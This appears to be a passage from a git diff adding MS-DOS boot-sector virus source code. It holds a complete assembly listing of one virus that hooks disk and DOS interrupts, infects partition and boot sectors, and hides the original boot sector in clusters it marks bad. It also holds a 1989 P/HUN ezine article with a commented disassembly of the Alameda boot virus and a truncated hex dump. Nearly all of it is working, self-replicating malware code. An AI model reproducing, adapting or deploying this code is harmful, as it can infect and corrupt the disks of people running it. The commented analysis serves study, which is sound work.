endmsg label word
|
||||
ident db 0 ;0 for fdd,80 for hdd
|
||||
count label byte
|
||||
partition db 64d dup (?)
|
||||
bootident dw 0AA55
|
||||
endcode label word
|
||||
|
||||
|
||||
@@ -0,0 +1,434 @@
|
||||
.radix 16
|
||||
start:
|
||||
jmp begin
|
||||
|
||||
db 'IBM 3.3'
|
||||
dw 200
|
||||
db 2
|
||||
dw 1
|
||||
db 2
|
||||
dw 70
|
||||
dw 2D0
|
||||
db 0FDh
|
||||
dw 2
|
||||
dw 9
|
||||
dw 2
|
||||
dw 0
|
||||
|
||||
work dd ?
|
||||
count db ?
|
||||
drive db ?
|
||||
Fat_sec dw ?
|
||||
old_boot dw 666d
|
||||
flag db ?
|
||||
sys_sec dw ?
|
||||
|
||||
;Simulate PUSHA
|
||||
|
||||
pusha:
|
||||
pop word ptr cs:[sys_sec-start]
|
||||
pushf
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push bp
|
||||
push ds
|
||||
push es
|
||||
jmp word ptr cs:[sys_sec-start]
|
||||
|
||||
;Simulate POPA
|
||||
|
||||
popa:
|
||||
pop word ptr cs:[sys_sec-start]
|
||||
pop es
|
||||
pop ds
|
||||
pop bp
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
jmp word ptr cs:[sys_sec-start]
|
||||
|
||||
;This procedure Reads/Writes the absolute sector in BX
|
||||
;ES:BP must point I/O buffer
|
||||
|
||||
write:
|
||||
mov ah,3
|
||||
jmp short do_it
|
||||
read:
|
||||
mov ah,2
|
||||
do_it:
|
||||
mov al,1
|
||||
xchg ax,bx
|
||||
add ax,[001C] ;Hidden sectors
|
||||
xor dx,dx
|
||||
div word ptr [0018]
|
||||
inc dl ;Adjust dl because BIOS counts sectors from 1 (not from 0)
|
||||
mov ch,dl ;dl is the first sector
|
||||
xor dx,dx
|
||||
div word ptr [001A] ;Cylinder in AX
|
||||
mov cl,6 ;Set CX if cylinder is bigger than 512
|
||||
shl ah,cl
|
||||
or ah,ch
|
||||
xchg ax,cx
|
||||
xchg ch,cl
|
||||
xchg dh,dl
|
||||
xchg ax,bx
|
||||
|
||||
abs_read:
|
||||
xchg bx,bp
|
||||
mov dl,byte ptr [drive-start] ;dl is the drive
|
||||
pushf
|
||||
db 9A
|
||||
orig dd ?
|
||||
jnc ok_func
|
||||
pop ax
|
||||
ok_func:
|
||||
ret
|
||||
|
||||
|
||||
begin:
|
||||
xor ax,ax ;Virus begining
|
||||
mov bp,7C00
|
||||
mov ds,ax ;Clear ds&ss
|
||||
mov ss,ax
|
||||
mov sp,bp ;Set SP bellow virus
|
||||
xchg ax,di
|
||||
mov si,bp
|
||||
mov ax,2000 ;Copy virus somewhere in memory
|
||||
mov es,ax
|
||||
mov cx,0100
|
||||
rep movsw
|
||||
push es
|
||||
mov ax,offset here-start
|
||||
push ax
|
||||
retf ;go there
|
||||
|
||||
|
||||
here:
|
||||
mov ax,1234
|
||||
cmp [80*4],ax
|
||||
mov [80*4],ax
|
||||
je skip_this
|
||||
les bx,[1C*4] ;Get old int 1Ch value
|
||||
mov cs:[work-start],bx
|
||||
mov cs:[work-start+2],es
|
||||
mov [1C*4],offset entry_1C-start ;Set new value
|
||||
mov [1C*4+2],cs
|
||||
|
||||
skip_this:
|
||||
|
||||
les bx,[13*4] ;Save original int 13h
|
||||
mov cs:[orig-start],bx
|
||||
mov cs:[orig-start+2],es
|
||||
push cs ;DS=ES=CS
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
again:
|
||||
mov ax,offset again-start
|
||||
push ax
|
||||
xor ah,ah ;Initialize Floppy
|
||||
mov byte ptr [flag-start],ah
|
||||
int 13
|
||||
and byte ptr [drive-start],80 ;Drive A: or C:
|
||||
mov bx,word ptr [old_boot-start] ;Read second part
|
||||
mov bp,offset second-start
|
||||
call read
|
||||
mov bx,word ptr [old_boot-start]
|
||||
inc bx
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
mov bp,7C00
|
||||
call read ;Read old Boot
|
||||
db 0EA,00,7C,00,00 ;JMP 0000:7C00
|
||||
|
||||
entry_1C:
|
||||
push si
|
||||
push ds
|
||||
|
||||
xor si,si
|
||||
mov ds,si
|
||||
cmp [si+21*4],si
|
||||
je not_yet
|
||||
|
||||
push bx
|
||||
push es
|
||||
|
||||
les bx,cs:[si+work-start]
|
||||
mov [si+1C*4],bx
|
||||
mov [si+1C*4+2],es
|
||||
les bx,[si+21*4]
|
||||
mov word ptr cs:[si+jmp_21-start],bx
|
||||
mov word ptr cs:[si+jmp_21-start+2],es
|
||||
mov [si+21*4],offset go_on-start
|
||||
mov [si+21*4+2],cs
|
||||
|
||||
pop es
|
||||
pop bx
|
||||
|
||||
not_yet:
|
||||
pop ds
|
||||
pop si
|
||||
iret
|
||||
|
||||
go_on:
|
||||
call pusha
|
||||
cmp ax,4B00
|
||||
je install
|
||||
return:
|
||||
call popa
|
||||
|
||||
db 0EA
|
||||
jmp_21 dd ?
|
||||
|
||||
install:
|
||||
|
||||
mov ah,52
|
||||
int 21
|
||||
xor si,si
|
||||
xor di,di
|
||||
mov ds,es:[bx-02]
|
||||
mov bx,ds
|
||||
mov ax,[si+3]
|
||||
add [si+3],96
|
||||
inc bx
|
||||
add ax,bx
|
||||
mov es,ax
|
||||
push es
|
||||
mov ax,es:[si+3]
|
||||
sub ax,96
|
||||
push ax
|
||||
mov ax,[si+3]
|
||||
add ax,bx
|
||||
mov ds,ax
|
||||
mov byte ptr [si],'Z'
|
||||
mov [si+1],si
|
||||
pop [si+3]
|
||||
pop es
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,0200
|
||||
rep movsw
|
||||
mov ax,word ptr [jmp_21-start]
|
||||
mov bx,word ptr [jmp_21-start+2]
|
||||
mov ds,cx
|
||||
mov [21*4],ax
|
||||
mov [21*4+2],bx
|
||||
mov ax,[13*4]
|
||||
mov bx,[13*4+2]
|
||||
mov es:[my-start],ax
|
||||
mov es:[my-start+2],bx
|
||||
mov [13*4],offset real-start
|
||||
mov [13*4+2],es
|
||||
jmp short return
|
||||
|
||||
|
||||
real:
|
||||
call pusha
|
||||
cmp ah,02
|
||||
jne exit
|
||||
cmp dl,81
|
||||
ja exit
|
||||
mov byte ptr cs:[drive-start],dl
|
||||
check:
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov byte ptr cs:[flag-start],al
|
||||
mov al,byte ptr [043F]
|
||||
push dx
|
||||
test dl,80
|
||||
jz ok_drive
|
||||
sub dl,7F
|
||||
shl dx,1
|
||||
shl dx,1
|
||||
dec dx
|
||||
ok_drive:
|
||||
inc dx
|
||||
test al,dl
|
||||
pop dx
|
||||
jnz exit
|
||||
push cs
|
||||
push cs
|
||||
pop es
|
||||
pop ds
|
||||
call infect
|
||||
exit:
|
||||
call popa
|
||||
call_cur:
|
||||
db 0EA
|
||||
my dd ?
|
||||
|
||||
ident dw 01234
|
||||
dw 0AA55
|
||||
|
||||
second label word
|
||||
|
||||
db '666'
|
||||
|
||||
infect:
|
||||
push dx
|
||||
xor ah,ah
|
||||
int 1A
|
||||
test dl,01
|
||||
pop dx
|
||||
jz bad
|
||||
mov ax,0201
|
||||
mov dh,0
|
||||
mov cx,0001
|
||||
mov bp,offset buffer-start
|
||||
call abs_read
|
||||
test dl,80
|
||||
jz usual
|
||||
mov bx,offset buffer-start+01BE
|
||||
mov cx,0004
|
||||
search:
|
||||
cmp byte ptr [bx+4],1
|
||||
je okay
|
||||
cmp byte ptr [bx+4],4
|
||||
je okay
|
||||
add bx,10
|
||||
loop search
|
||||
ret
|
||||
|
||||
okay:
|
||||
mov dx,[bx]
|
||||
mov cx,[bx+2]
|
||||
mov ax,0201
|
||||
mov bp,offset buffer-start
|
||||
call abs_read
|
||||
usual:
|
||||
mov si,offset buffer-start+3
|
||||
mov di,0003
|
||||
mov cx,1Bh
|
||||
rep movsb
|
||||
cmp [buffer-start+01FC],1234 ;Infected ?
|
||||
jne well
|
||||
bad:
|
||||
ret
|
||||
|
||||
well:
|
||||
cmp [0Bh],200 ;Bytes in sector
|
||||
jne bad
|
||||
cmp byte ptr [0Dh],2 ;Sectors in 1 cluster
|
||||
jb bad
|
||||
mov cx,[0E] ;Reserved dectors
|
||||
mov al,[10] ;Copies of FAT
|
||||
cbw
|
||||
mul word ptr [16] ;FAT in sectors
|
||||
add cx,ax
|
||||
mov ax,20 ;32 bytes
|
||||
mul word ptr [11] ;Elements in the catalogue
|
||||
mov bx,1FF
|
||||
add ax,bx
|
||||
inc bx
|
||||
div bx
|
||||
add cx,ax
|
||||
mov word ptr [sys_sec-start],cx ;system sectors
|
||||
mov ax,[0013] ;Sectors on the disk
|
||||
sub ax,cx
|
||||
mov bl,[0Dh] ;Sectors in cluster
|
||||
xor dx,dx
|
||||
xor bh,bh
|
||||
div bx
|
||||
inc ax ;AX=clusters on disk
|
||||
mov di,ax
|
||||
and byte ptr [flag-start],0FE
|
||||
cmp ax,0FF0
|
||||
jbe small
|
||||
or byte ptr [flag-start],1
|
||||
small:
|
||||
mov si,1
|
||||
mov bx,[0E] ;Where to read FAT from
|
||||
dec bx
|
||||
mov [Fat_sec-start],bx
|
||||
mov byte ptr [count-start],0FE
|
||||
|
||||
look_here:
|
||||
|
||||
inc word ptr [Fat_sec-start] ;Next sector in FAT
|
||||
mov bx,[Fat_sec-start]
|
||||
add byte ptr [count-start],2 ;Adjust for new offset
|
||||
mov bp,offset buffer-start ;BP points buffer
|
||||
call read ;Read FAT's sector
|
||||
jmp short where
|
||||
|
||||
look:
|
||||
mov ax,3 ;Multiply by 1.5 rounded down to integer number
|
||||
test byte ptr [flag-start],1
|
||||
je go_1
|
||||
inc ax ;For 16 bit FAT
|
||||
go_1:
|
||||
mul si
|
||||
shr ax,1
|
||||
sub ah,byte ptr [count-start] ;Adjust offset in range of 512 bytes
|
||||
mov bx,ax
|
||||
cmp bx,1FF ;If reached the end then load next FAT sector
|
||||
jnb look_here
|
||||
mov dx,[bx+buffer-start] ;Information for this cluster
|
||||
test byte ptr [flag-start],01
|
||||
jne go_2
|
||||
test si,1
|
||||
je go_3
|
||||
mov cl,4
|
||||
shr dx,cl
|
||||
go_3:
|
||||
and dh,0F
|
||||
go_2:
|
||||
or dx,dx ;Free cluster ?
|
||||
jz found
|
||||
where:
|
||||
inc si
|
||||
cmp si,di
|
||||
jbe look
|
||||
ret
|
||||
|
||||
found:
|
||||
mov dx,0FFF7 ;Prepare for marking it as bad
|
||||
test byte ptr [flag-start],1
|
||||
jnz go_4
|
||||
and dh,0F
|
||||
test si,1
|
||||
je go_4
|
||||
mov cl,4
|
||||
shl dx,cl
|
||||
go_4:
|
||||
or [bx+buffer-start],dx ;Set it in FAT
|
||||
mov bx,[Fat_sec-start]
|
||||
mov bp,offset buffer-start
|
||||
call write ;Update 1'st FAT copy
|
||||
mov ax,si ;Convert cluster address in si to sector number
|
||||
sub ax,2
|
||||
mov bl,byte ptr [0Dh]
|
||||
xor bh,bh
|
||||
mul bx
|
||||
add ax,[sys_sec-start]
|
||||
mov si,ax ;Si is the sector that is free
|
||||
xor bx,bx
|
||||
mov bp,offset buffer-start
|
||||
call read ;Read old BOOTSECTOR
|
||||
mov bx,si ;Put it in a quiet place
|
||||
inc bx
|
||||
mov bp,offset buffer-start
|
||||
call write ;Do that
|
||||
mov bx,si
|
||||
mov [old_boot-start],si
|
||||
mov bp,offset second-start
|
||||
call write
|
||||
xor bx,bx
|
||||
xor bp,bp
|
||||
call write
|
||||
ret
|
||||
|
||||
this_ db 1024d-(this_-start) dup (0F6h)
|
||||
|
||||
buffer label word
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,431 @@
|
||||
|
||||
P/HUN Issue #4, Volume 2: Phile 3 of 11
|
||||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
A BOOT SECTOR VIRUS
|
||||
5/15/89
|
||||
|
||||
|
||||
The following is a disassembled and commented version of the Alemeda
|
||||
College Boot infector virus. Courtesy of Southern Cross.
|
||||
|
||||
|
||||
;-----------------------------------------------------------------------;
|
||||
; This virus is of the "FLOPPY ONLY" variety. ;
|
||||
; It replicates to the boot sector of a floppy disk and when it gains control
|
||||
; it will move itself to upper memory. It redirects the keyboard ;
|
||||
; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time ;
|
||||
; it will attempt to infect any floppy it finds in drive A:. ;
|
||||
; It keeps the real boot sector at track 39, sector 8, head 0 ;
|
||||
; It does not map this sector bad in the fat (unlike the Pakistani Brain)
|
||||
; and should that area be used by a file, the virus ;
|
||||
; will die. It also contains no anti detection mechanisms as does the ;
|
||||
; BRAIN virus. It apparently uses head 0, sector 8 and not head 1 ;
|
||||
; sector 9 because this is common to all floppy formats both single ;
|
||||
; sided and double sided. It does not contain any malevolent TROJAN ;
|
||||
; HORSE code. It does appear to contain a count of how many times it ;
|
||||
; has infected other diskettes although this is harmless and the count ;
|
||||
; is never accessed. ;
|
||||
; ;
|
||||
; Things to note about this virus: ;
|
||||
; It can not only live through an ALT-CTRL-DEL reboot command, but this ;
|
||||
; is its primary (only for that matter) means of reproduction to other ;
|
||||
; floppy diskettes. The only way to remove it from an infected system ;
|
||||
; is to turn the machine off and reboot an uninfected copy of DOS. ;
|
||||
; It is even resident when no floppy is booted but BASIC is loaded ;
|
||||
; instead. Then when ALT-CTRL-DEL is pressed from inside of BASIC, ;
|
||||
; it activates and infectes the floppy from which the user is ;
|
||||
; attempting to boot. ;
|
||||
; ;
|
||||
; Also note that because of the POP CS command to pass control to ;
|
||||
; its self in upper memory, this virus does not to work on 80286 ;
|
||||
; machines (because this is not a valid 80286 instruction). ;
|
||||
; ;
|
||||
; The Norton Utilities can be used to identify infected diskettes by ;
|
||||
; looking at the boot sector and the DOS SYS utility can be used to ;
|
||||
; remove it (unlike the Pakistani Brain). ;
|
||||
;-----------------------------------------------------------------------;
|
||||
;
|
||||
ORG 7C00H ;
|
||||
;
|
||||
TOS LABEL WORD ;TOP OF STACK
|
||||
;-----------------------------------------------------------------------;
|
||||
; 1. Find top of memory and copy ourself up there. (keeping same offset);
|
||||
; 2. Save a copy of the first 32 interrupt vectors to top of memory too ;
|
||||
; 3. Redirect int 9 (keyboard) to ourself in top of memory ;
|
||||
; 4. Jump to ourself at top of memory ;
|
||||
; 5. Load and execute REAL boot sector from track 40, head 0, sector 8 ;
|
||||
;-----------------------------------------------------------------------;
|
||||
BEGIN: CLI ;INITIALIZE STACK
|
||||
XOR AX,AX ;
|
||||
MOV SS,AX ;
|
||||
MOV SP,offset TOS ;
|
||||
STI ;
|
||||
;
|
||||
MOV BX,0040H ;ES = TOP OF MEMORY - (7C00H+512)
|
||||
MOV DS,BX ;
|
||||
MOV AX,[0013H] ;
|
||||
MUL BX ;
|
||||
SUB AX,07E0H ; (7C00H+512)/16
|
||||
MOV ES,AX ;
|
||||
;
|
||||
PUSH CS ;DS = CS
|
||||
POP DS ;
|
||||
;
|
||||
CMP DI,3456H ;IF THE VIRUS IS REBOOTING...
|
||||
JNE B_10 ;
|
||||
DEC Word Ptr [COUNTER_1] ;...LOW&HI:COUNTER_1--
|
||||
;
|
||||
B_10: MOV SI,SP ;SP=7C00 ;COPY SELF TO TOP OF MEMORY
|
||||
MOV DI,SI ;
|
||||
MOV CX,512 ;
|
||||
CLD ;
|
||||
REP MOVSB ;
|
||||
;
|
||||
MOV SI,CX ;CX=0 ;SAVE FIRST 32 INT VETOR ADDRESSES TO
|
||||
MOV DI,offset BEGIN - 128 ; 128 BYTES BELOW OUR HI CODE
|
||||
MOV CX,128 ;
|
||||
REP MOVSB ;
|
||||
;
|
||||
CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
|
||||
;
|
||||
PUSH ES ;ES=HI ;JUMP TO OUR HI CODE WITH
|
||||
POP CS ; CS = ES
|
||||
;
|
||||
PUSH DS ;DS=0 ;ES = DS
|
||||
POP ES ;
|
||||
;
|
||||
MOV BX,SP ;SP=7C00 ;LOAD REAL BOOT SECTOR TO 0000:7C00
|
||||
MOV DX,CX ;CX=0 ; DRIVE A: HEAD 0
|
||||
MOV CX,2708H ; TRACK 40, SECTOR 8
|
||||
MOV AX,0201H ; READ SECTOR
|
||||
INT 13H ; (common to 8/9 sect. 1/2 sided!)
|
||||
JB $ ; HANG IF ERROR
|
||||
;
|
||||
JMP JMP_BOOT ;JMP 0000:7C00
|
||||
;
|
||||
;-----------------------------------------------------------------------;
|
||||
; SAVE THEN REDIRECT INT 9 VECTOR ;
|
||||
; ;
|
||||
; ON ENTRY: DS = 0 ;
|
||||
; ES = WHERE TO SAVE OLD_09 & (HI) ;
|
||||
; WHERE NEW_09 IS (HI) ;
|
||||
;-----------------------------------------------------------------------;
|
||||
PUT_NEW_09: ;
|
||||
DEC Word Ptr [0413H] ;TOP OF MEMORY (0040:0013) -= 1024
|
||||
;
|
||||
MOV SI,9*4 ;COPY INT 9 VECTOR TO
|
||||
MOV DI,offset OLD_09 ; OLD_09 (IN OUR HI CODE!)
|
||||
MOV CX,0004 ;
|
||||
;
|
||||
CLI ;
|
||||
REP MOVSB ;
|
||||
MOV Word Ptr [9*4],offset NEW_09
|
||||
MOV [(9*4)+2],ES ;
|
||||
STI ;
|
||||
;
|
||||
RET ;
|
||||
;
|
||||
;-----------------------------------------------------------------------;
|
||||
; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR ;
|
||||
;-----------------------------------------------------------------------;
|
||||
ACK_KEYBD: ;
|
||||
IN AL,61H ;RESET KEYBOARD THEN CONTINUE
|
||||
MOV AH,AL ;
|
||||
OR AL,80H ;
|
||||
OUT 61H,AL ;
|
||||
XCHG AL,AH ;
|
||||
OUT 61H,AL ;
|
||||
JMP RBOOT ;
|
||||
;
|
||||
;-----------------------------------------------------------------------;
|
||||
; DATA AREA WHICH IS NOT USED IN THIS VERSION ;
|
||||
; REASON UNKNOWN ;
|
||||
;-----------------------------------------------------------------------;
|
||||
TABLE DB 27H,0,1,2 ;FORMAT INFORMATION FOR TRACK 39
|
||||
DB 27H,0,2,2 ; (CURRENTLY NOT USED)
|
||||
DB 27H,0,3,2 ;
|
||||
DB 27H,0,4,2 ;
|
||||
DB 27H,0,5,2 ;
|
||||
DB 27H,0,6,2 ;
|
||||
DB 27H,0,7,2 ;
|
||||
DB 27H,0,8,2 ;
|
||||
;
|
||||
;A7C9A LABEL BYTE ;
|
||||
DW 00024H ;NOT USED
|
||||
DB 0ADH ;
|
||||
DB 07CH ;
|
||||
DB 0A3H ;
|
||||
DW 00026H ;
|
||||
;
|
||||
;L7CA1: ;
|
||||
POP CX ;NOT USED
|
||||
POP DI ;
|
||||
POP SI ;
|
||||
POP ES ;
|
||||
POP DS ;
|
||||
POP AX ;
|
||||
POPF ;
|
||||
JMP 1111:1111 ;
|
||||
;
|
||||
;-----------------------------------------------------------------------;
|
||||
; IF ALT & CTRL & DEL THEN ... ;
|
||||
; IF ALT & CTRL & ? THEN ... ;
|
||||
;-----------------------------------------------------------------------;
|
||||
NEW_09: PUSHF ;
|
||||
STI ;
|
||||
;
|
||||
PUSH AX ;
|
||||
PUSH BX ;
|
||||
PUSH DS ;
|
||||
;
|
||||
PUSH CS ;DS=CS
|
||||
POP DS ;
|
||||
;
|
||||
MOV BX,[ALT_CTRL] ;BX=SCAN CODE LAST TIME
|
||||
IN AL,60H ;GET SCAN CODE
|
||||
MOV AH,AL ;SAVE IN AH
|
||||
AND AX,887FH ;STRIP 8th BIT IN AL, KEEP 8th BIT AH
|
||||
;
|
||||
CMP AL,1DH ;IS IT A [CTRL]...
|
||||
JNE N09_10 ;...JUMP IF NO
|
||||
MOV BL,AH ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP)
|
||||
JMP N09_30 ;
|
||||
;
|
||||
N09_10: CMP AL,38H ;IS IT AN [ALT]...
|
||||
JNE N09_20 ;...JUMP IF NO
|
||||
MOV BH,AH ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP)
|
||||
JMP N09_30 ;
|
||||
;
|
||||
N09_20: CMP BX,0808H ;IF (CTRL DOWN & ALT DOWN)...
|
||||
JNE N09_30 ;...JUMP IF NO
|
||||
;
|
||||
CMP AL,17H ;IF [I]...
|
||||
JE N09_X0 ;...JUMP IF YES
|
||||
CMP AL,53H ;IF [DEL]...
|
||||
JE ACK_KEYBD ;...JUMP IF YES
|
||||
;
|
||||
N09_30: MOV [ALT_CTRL],BX ;SAVE SCAN CODE FOR NEXT TIME
|
||||
;
|
||||
N09_90: POP DS ;
|
||||
POP BX ;
|
||||
POP AX ;
|
||||
POPF ;
|
||||
;
|
||||
DB 0EAH ;JMP F000:E987
|
||||
OLD_09 DW ? ;
|
||||
DW 0F000H ;
|
||||
;
|
||||
N09_X0: JMP N09_X1 ;
|
||||
;
|
||||
;-----------------------------------------------------------------------;
|
||||
; ;
|
||||
;-----------------------------------------------------------------------;
|
||||
RBOOT: MOV DX,03D8H ;DISABLE COLOR VIDEO !?!?
|
||||
MOV AX,0800H ;AL=0, AH=DELAY ARG
|
||||
OUT DX,AL ;
|
||||
CALL DELAY ;
|
||||
MOV [ALT_CTRL],AX ;AX=0 ;
|
||||
;
|
||||
MOV AL,3 ;AH=0 ;SELECT 80x25 COLOR
|
||||
INT 10H ;
|
||||
MOV AH,2 ;SET CURSOR POS 0,0
|
||||
XOR DX,DX ;
|
||||
MOV BH,DH ; PAGE 0
|
||||
INT 10H ;
|
||||
;
|
||||
MOV AH,1 ;SET CURSOR TYPE
|
||||
MOV CX,0607H ;
|
||||
INT 10H ;
|
||||
;
|
||||
MOV AX,0420H ;DELAY (AL=20H FOR EOI BELOW)
|
||||
CALL DELAY ;
|
||||
;
|
||||
CLI ;
|
||||
OUT 20H,AL ;SEND EOI TO INT CONTROLLER
|
||||
;
|
||||
MOV ES,CX ;CX=0 (DELAY) ;RESTORE FIRST 32 INT VECTORS
|
||||
MOV DI,CX ; (REMOVING OUR INT 09 HANDLER!)
|
||||
MOV SI,offset BEGIN - 128 ;
|
||||
MOV CX,128 ;
|
||||
CLD ;
|
||||
REP MOVSB ;
|
||||
;
|
||||
MOV DS,CX ;CX=0 ;DS=0
|
||||
;
|
||||
MOV Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR
|
||||
MOV [(19H*4)+2],CS ;
|
||||
;
|
||||
MOV AX,0040H ;DS = ROM DATA AREA
|
||||
MOV DS,AX ;
|
||||
;
|
||||
MOV [0017H],AH ;AH=0 ;KBFLAG (SHIFT STATES) = 0
|
||||
INC Word Ptr [0013H] ;MEMORY SIZE += 1024 (WERE NOT ACTIVE)
|
||||
;
|
||||
PUSH DS ;IF BIOS F000:E502 == 21E4...
|
||||
MOV AX,0F000H ;
|
||||
MOV DS,AX ;
|
||||
CMP Word Ptr [0E502H],21E4H ;
|
||||
POP DS ;
|
||||
JE R_90 ;
|
||||
INT 19H ; IF NOT...REBOOT
|
||||
;
|
||||
R_90: JMP 0F000:0E502H ;...DO IT ?!?!?!
|
||||
;
|
||||
;-----------------------------------------------------------------------;
|
||||
; REBOOT INT VECTOR ;
|
||||
;-----------------------------------------------------------------------;
|
||||
NEW_19: XOR AX,AX ;
|
||||
;
|
||||
MOV DS,AX ;DS=0
|
||||
MOV AX,[0410] ;AX=EQUIP FLAG
|
||||
TEST AL,1 ;IF FLOPPY DRIVES ...
|
||||
JNZ N19_20 ;...JUMP
|
||||
N19_10: PUSH CS ;ELSE ES=CS
|
||||
POP ES ;
|
||||
CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
|
||||
INT 18H ;LOAD BASIC
|
||||
;
|
||||
N19_20: MOV CX,0004 ;RETRY COUNT = 4
|
||||
;
|
||||
N19_22: PUSH CX ;
|
||||
MOV AH,00 ;RESET DISK
|
||||
INT 13 ;
|
||||
JB N19_81 ;
|
||||
MOV AX,0201 ;READ BOOT SECTOR
|
||||
PUSH DS ;
|
||||
POP ES ;
|
||||
MOV BX,offset BEGIN ;
|
||||
MOV CX,1 ;TRACK 0, SECTOR 1
|
||||
INT 13H ;
|
||||
N19_81: POP CX ;
|
||||
JNB N19_90 ;
|
||||
LOOP N19_22 ;
|
||||
JMP N19_10 ;IF RETRY EXPIRED...LOAD BASIC
|
||||
;
|
||||
;-----------------------------------------------------------------------;
|
||||
; Reinfection segment. ;
|
||||
;-----------------------------------------------------------------------;
|
||||
N19_90: CMP DI,3456 ;IF NOT FLAG SET...
|
||||
JNZ RE_INFECT ;...RE INFECT
|
||||
;
|
||||
JMP_BOOT: ;PASS CONTROL TO BOOT SECTOR
|
||||
JMP 0000:7C00H ;
|
||||
;
|
||||
;-----------------------------------------------------------------------;
|
||||
; Reinfection Segment. ;
|
||||
;-----------------------------------------------------------------------;
|
||||
RE_INFECT: ;
|
||||
MOV SI,offset BEGIN ;COMPARE BOOT SECTOR JUST LOADED WITH
|
||||
MOV CX,00E6H ; OURSELF
|
||||
MOV DI,SI ;
|
||||
PUSH CS ;
|
||||
POP ES ;
|
||||
CLD ;
|
||||
REPE CMPSB ;
|
||||
JE RI_12 ;IF NOT EQUAL...
|
||||
;
|
||||
INC Word Ptr ES:[COUNTER_1] ;INC. COUNTER IN OUR CODE (NOT DS!)
|
||||
;
|
||||
;MAKE SURE TRACK 39, HEAD 0 FORMATTED ;
|
||||
MOV BX,offset TABLE ;FORMAT INFO
|
||||
MOV DX,0000 ;DRIVE A: HEAD 0
|
||||
MOV CH,40-1 ;TRACK 39
|
||||
MOV AH,5 ;FORMAT
|
||||
JMP RI_10 ;REMOVE THE FORMAT OPTION FOR NOW !
|
||||
;
|
||||
; <<< NO EXECUTION PATH TO HERE >>> ;
|
||||
JB RI_80 ;
|
||||
;
|
||||
;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0
|
||||
RI_10: MOV ES,DX ;ES:BX = 0000:7C00, HEAD=0
|
||||
MOV BX,offset BEGIN ;TRACK 40H
|
||||
MOV CL,8 ;SECTOR 8
|
||||
MOV AX,0301H ;WRITE 1 SECTOR
|
||||
INT 13H ;
|
||||
;
|
||||
PUSH CS ; (ES=CS FOR PUT_NEW_09 BELOW)
|
||||
POP ES ;
|
||||
JB RI_80 ;IF WRITE ERROR...JUMP TO BOOT CODE
|
||||
;
|
||||
MOV CX,0001 ;WRITE INFECTED BOOT SECTOR !
|
||||
MOV AX,0301 ;
|
||||
INT 13H ;
|
||||
JB RI_80 ; IF ERROR...JUMP TO BOOT CODE
|
||||
;
|
||||
RI_12: MOV DI,3456H ;SET "JUST INFECTED ANOTHER ONE"...
|
||||
INT 19H ;...FLAG AND REBOOT
|
||||
;
|
||||
RI_80: CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
|
||||
DEC Word Ptr ES:[COUNTER_1] ; (DEC. CAUSE DIDNT INFECT)
|
||||
JMP JMP_BOOT ;
|
||||
;
|
||||
;-----------------------------------------------------------------------;
|
||||
; ;
|
||||
;-----------------------------------------------------------------------;
|
||||
N09_X1: MOV [ALT_CTRL],BX ;SAVE ALT & CTRL STATUS
|
||||
;
|
||||
MOV AX,[COUNTER_1] ;PUT COUNTER_1 INTO RESET FLAG
|
||||
MOV BX,0040H ;
|
||||
MOV DS,BX ;
|
||||
MOV [0072H],AX ; 0040:0072 = RESET FLAG
|
||||
JMP N09_90 ;
|
||||
;
|
||||
;-----------------------------------------------------------------------;
|
||||
; DELAY ;
|
||||
; ;
|
||||
; ON ENTRY AH:CX = LOOP COUNT ;
|
||||
;-----------------------------------------------------------------------;
|
||||
DELAY: SUB CX,CX ;
|
||||
D_01: LOOP $ ;
|
||||
SUB AH,1 ;
|
||||
JNZ D_01 ;
|
||||
RET ;
|
||||
;
|
||||
;-----------------------------------------------------------------------;
|
||||
; ;
|
||||
;-----------------------------------------------------------------------;
|
||||
A7DF4 DB 27H,00H,8,2
|
||||
|
||||
COUNTER_1 DW 001CH
|
||||
ALT_CTRL DW 0
|
||||
|
||||
A7DFC DB 27H,0,8,2
|
||||
|
||||
END
|
||||
;-----------------------------------------------------------------------;
|
||||
; Hexadecimal representation. ;
|
||||
;-----------------------------------------------------------------------;
|
||||
;7C00 FA 31 C0 8E D0 BC 00 7C-FB BB 40 00 8E DB A1 13 z1@.P<.|{;@..[!.
|
||||
;7C10 00 F7 E3 2D E0 07 8E C0-0E 1F 81 FF 56 34 75 04 .wc-`..@....V4u.
|
||||
;7C20 FF 0E F8 7D 89 E6 89 F7-B9 00 02 FC F3 A4 89 CE ..x}.f.w9..|s$.N
|
||||
;7C30 BF 80 7B B9 80 00 F3 A4-E8 15 00 06 0F 1E 07 89 ?.{9..s$h.......
|
||||
;7C40 E3 89 CA B9 08 27 B8 01-02 CD 13 72 FE E9 38 01 c.J9.'8..M.r~i8.
|
||||
;7C50 FF 0E 13 04 BE 24 00 BF-E6 7C B9 04 00 FA F3 A4 ....>$.?f|9..zs$
|
||||
;7C60 C7 06 24 00 AD 7C 8C 06-26 00 FB C3 E4 61 88 C4 G.$.-|..&.{Cda.D
|
||||
;7C70 0C 80 E6 61 86 C4 E6 61-EB 73 27 00 01 02 27 00 ..fa.Dfaks'...'.
|
||||
;7C80 02 02 27 00 03 02 27 00-04 02 27 00 05 02 27 00 ..'...'...'...'.
|
||||
;7C90 06 02 27 00 07 02 27 00-08 02 24 00 AD 7C A3 26 ..'...'.$.-|#&
|
||||
;7CA0 09 5F 5E 07 1F 58 9D-EA 11 11 1 FB .Y_^..X.j.....{P
|
||||
;7CB0 53 1E 0E 1F 8B 1E FA 7D-E4 60 88 C4 25 7F 88 S.....z}d`.D%..<
|
